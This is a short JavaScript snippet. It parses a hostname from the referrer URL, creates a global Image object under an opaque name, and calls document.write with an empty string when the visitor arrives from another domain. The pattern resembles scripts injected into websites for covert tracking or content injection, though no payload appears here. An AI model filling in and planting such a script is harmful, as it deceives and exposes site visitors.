function getdomian(str,type) { str=str.replace("http://","") str=str.replace("http:\\","") str=str.replace("https://","") str=str.replace("https:\\","") var index = str.indexOf(":"); if (index != -1) str = str.substring(0, index); index= str.indexOf("/"); if( index != -1) str = str.substring(0, index); index= str.indexOf("\\"); if( index != -1) str = str.substring(0, index); if(type == 1) { var index = str.indexOf(":"); if (index != -1) str = str.substring(0, index); index= str.indexOf("/"); if( index != -1) str = str.substring(0, index); index= str.indexOf("\\"); if( index != -1) str = str.substring(0, index); var strRigthTemp; for(var i=0;i < 5; i++){ index = str.indexOf("."); if(index == -1) {str = strRigthTemp; break;} else { strRigthTemp = str; str = str.substring(index+1);} } } return str } var ccc = 1; g = window; b="145pk"; g[b] = new Image; refe = document.referrer; doma = document.domain; if(doma != getdomian(refe,0)){ document.write(''); }